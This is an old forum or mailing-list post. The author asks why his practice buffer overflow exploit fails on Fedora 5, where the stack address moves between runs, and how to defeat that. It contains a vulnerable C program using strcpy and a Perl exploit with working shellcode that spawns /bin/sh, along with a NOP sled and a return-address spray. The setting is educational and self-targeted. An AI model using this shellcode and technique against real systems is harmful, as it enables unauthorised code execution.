"Moving" Stack: my poor return address!

Hello,

To see if I still knew how to code simple buffer overflows after a long 
absence from it, I threw together a quick vulnerable C program today and 
wrote and exploit for it. The whole process went great, until I went to 
find the return address I wanted in the stack. I have a 4096 byte 
buffer, and since I had the room I put in 2048 NOPs at the beggining of 
the buffer. However, when I run the exploit then open the core in gdb, 
the stack is always in a different place. And we're not talking about 
different place by a few thousand bytes, either. One time I'll run it 
and the NOPs will be at 0xbfe4dab0, the next time they will.be at 
0xbf9af420. That's a HUGE distance away!

I'm running on Fedora 5. Is this a security thing that's new in the past 
2 years or so since I've coded one of these? Is there any way I can 
either (1) make the stack sit still so I can point into it or (2) find 
out where it is during execution?

------- lame.c ------
#include <stdio.h>
#include <stdlib.h>

int main( int argc, char *argv[]) {

  char buffer[4096]; //we're gonna overflow this jawn

  if (argc!=2) {
    printf("Usage: %s <string to copy>\n",argv[0]);
    return 1;
  }

  strcpy(buffer,argv[1]); //tisk tisk tisk

  printf("Buffer now holds: %s\n",buffer);

  return 0;
}
-----end lame.c -----

------exp.pl -----
#!/usr/bin/perl

my $prog="/home/jack/break/lame";
my $buffer;

# shellcode - /bin/sh; uname -a; id | 89 bytes */
my $c0de="\xeb\x1f\x5f\x89\xfc\x66\xf7\xd4\x31\xc0\x8a\x07".
         "\x47\x57\xae\x75\xfd\x88\x67\xff\x48\x75\xf6\x5b".
         "\x53\x50\x5a\x89\xe1\xb0\x0b\xcd\x80\xe8\xdc\xff".
         "\xff\xff\x03\x65\x63\x68\x6f\x20\x5b\x45\x6c\x65".
         "\x63\x74\x72\x6f\x6e\x69\x63\x53\x6f\x75\x6c\x73".
         "\x5d\x3b\x20\x75\x6e\x61\x6d\x65\x20\x2d\x61\x3b".
         "\x20\x69\x64\x3b\x20\x03\x2d\x63\x02\x2f\x62\x69".
         "\x6e\x2f\x73\x68\x01";

$buffer="\x90"x(2048+(1024-length($c0de))); #NOPs
$buffer.=$c0de;                             #shellcode
$buffer.="\xc0\x15\x9d\xbf"x(1024/4);       #retr addr: 0xbf9d15c0 WAS 
in the middle...

# other addresses the NOPS were... look how far apart these are!
#0xbfe4dab0-0xbfe4e640
#0xbf9af420-0xbf9affa0

exec $prog, $buffer;
-----end exp.pl------

Thanks for looking, hope someone can lend a hand...

-Jack Carrozzo
jack   _{@}_   crepinc.com